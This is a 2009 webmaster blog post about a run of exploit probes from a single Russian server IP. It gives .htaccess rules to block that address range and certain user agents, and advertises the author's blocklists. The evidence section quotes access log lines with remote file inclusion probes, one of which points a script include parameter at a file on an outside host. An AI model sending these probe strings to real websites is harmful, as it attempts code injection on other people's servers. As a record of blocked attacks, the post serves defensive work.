Russian Server sending exploit codes. Block 77.221.128.0/19 now!

Many of my regular visitors are aware that I maintain and publish various IP address blocklists, used to protect websites and web servers from nefarious activities by scammers, spammers and exploiters. Today, my website came under attack from a Russian Server, located in Saint Petersburg, Russia. The attacks were server exploit attempts, using various Query strings and http redirects. All were blocked by my security measures, but there were so many attempts in a short period of time that I feel that I should spread the word to other webmasters, before it is too late.

First off, server exploit attempts are nothing new. They happen every day and are easily seen if you read your website's raw access logs or stats. Most exploit attempts are fast in/out probes, usually coming from rotating IP addresses, and only a few at a time. But, the attack I logged this morning was different than the usual model. In a 26 minute period I received 69 exploit probes from the same IP address. I ran a Whois lookup on the IP 77.221.130.5 and found that is it assigned to Server 005 on infobox.ru, in Saint Petersburg, Russia. This is a virtual hosting and colocation data center, who's assigned address range is from 77.221.128.0 - 77.221.143.255, which is designated by the network CIDR: 77.221.128.0/19.

Security-minded webmasters are interested in blocking offending IP addresses and the CIDRs that encompass exploited servers. Most folks running websites are hosted on Apache web servers and are using shared hosting accounts, where they can only use .htaccess file "directives" to block unwanted Internet traffic. Some web hosts may allow only "Mod_Access" directives in user defined .htaccess files. Here is a Mod_Access rule you can add to your .htaccess file to block the offending Russian data center mentioned above:
<Files *> order deny,allow deny from 77.221.128.0/19 </Files>
In the above .htaccess directive all IP addresses are permitted access to all files (Files *), except for those IPs included within the CIDR 77.221.128.0/19. This is due to the "order" statement (order deny,allow), where deny is processed before allow. Anything defined in "deny from" rules is processed first. Anything not specifically denied is allowed by default.

I mentioned in the opening paragraph that I publish various IP blocklists (a.k.a. Blacklists). The list that blocks the source of this exploit is called the Russian Blocklist, which includes numerous IP address ranges in Russia, The Ukraine, Turkey and several other former Soviet Union countries. These lists are available in two formats each. The most commonly used format is my .htaccess blocklists and the lesser used type is my iptables blocklists.

Currently, there are four separate blocklists per format. They are the "Chinese" (and Indo-China), "Exploited Servers" (+ proxies), "Nigerian" (and African) and "Russian" (+ Turkey and former Soviet Union) Blocklists. If you use a shared web hosting account you will only be able to use the .htacccess format. If you have a VPS or fully dedicated server you can probably use the iptables blocklists, which require "root" access to the OS. The iptables blocklists deny all access to a server and all of its modules, including email and ftp servers. A .htaccess blocklist can only deny access to http and https traffic. Either type will block the exploit probes listed in my extended comments. The landing pages explain how to use the directives contained in each blocklist.

All of my blocklists are currently free for the taking, but I do appreciate donations if you benefit from my work. You will find PayPal Donate buttons on each blocklist page.

Evidence of exploit probes emanating from a Russian web server, located at 77.221.130.5

77.221.130.5 - - [13/Apr/2009:03:47:23 -0700] "GET /blogs/domainwebsite_issues///?sIncPath=http://www.mykr.net/bbs/data/id/copyright.txt?? HTTP/1.1" 403 47 "-" "Mozilla/5.0"

77.221.130.5 - - [13/Apr/2009:03:49:12 -0700] "GET ///?sIncPath=uid=1512(z71584)%20gid=106(hosting)%20groups=106(hosting)%0A? HTTP/1.1" 403 47 "-" "libwww-perl/5.805"

77.221.130.5 - - [13/Apr/2009:03:50:22 -0700] "GET /blogs/domainwebsite_issues///?sIncPath=uid=1512(z71584)%20gid=106(hosting)%20groups=106(hosting)%0A? HTTP/1.1" 403 47 "-" "Mozilla/4.8 [en] (Windows NT 5.0; U)"

77.221.130.5 - - [13/Apr/2009:04:13:02 -0700] "GET /blogs/2009///?sIncPath=uid=1512(z71584)%20gid=106(hosting)%20groups=106(hosting)%0A? HTTP/1.1" 403 47 "-" "libwww-perl/5.805"

If you have Mod_Rewrite available for your use, you can block the above abused user agents using these directives, in your public_html or web root .htaccess file:

Options +FollowSymLinks
RewriteEngine On
RewriteBase /

RewriteCond %{HTTP_USER_AGENT} ^Mozilla/5\.0$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^Mozilla/4\.8\ \[en\]\ $Windows\ NT\ 5\.0;\ U$$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^libwww-perl/
RewriteRule .* - [F]

If you have a custom 403 error page you will need to change the RewriteRule to allow access to that page. Here is an example of a custom 403 page named 403.html, or 403.shtml, or 403.php:

RewriteRule !^403\.(s?html|php)$ - [F]

I am available for hire to install and administer blocklists to protect your websites from scammers, spammers and server exploiters. Contact me with your details of server abuse and I will assess your situation and give you a reasonable quote. My security work is currently limited to websites hosted on Apache web servers. If you are hosted on a Windows based server you will have to contact your web host for help applying my blocklists.

Trend Micro Internet Security products,

for home and office users, use in-the-cloud malware definitions that are updated every day, all day, as soon as new or altered strains of viruses and other malware are detected in the wild and analyzed. By offloading the bulk of these ever changing virus definitions to cloud servers, the load on your computers is greatly reduced. All users of Trend security programs are instantly protected from hostile web pages laden with malware exploits and hostile email, by the Trend Micro Smart Protection Network.